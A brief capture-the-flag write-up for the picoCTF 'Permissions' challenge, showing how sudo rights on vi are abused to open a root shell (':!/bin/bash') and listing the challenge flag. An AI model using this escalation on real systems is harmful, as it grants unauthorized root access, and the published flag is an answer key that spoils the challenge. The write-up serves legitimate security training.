Back to Writeups

Permissions

picoCTF

Published: December 24, 2025

Problem

Can you read files in the root file?

Additional details will be available after launching your challenge instance.

Solution

list the commands that i’m able to run as root

sudo -l

looks like i can run the vi text editor

sudo vi test

esc to run commands, spawn a root shell with

:!/bin/bash

go to root shell and get flag.

Flag: picoCTF{uS1ng_v1m_3dit0r_55878b51}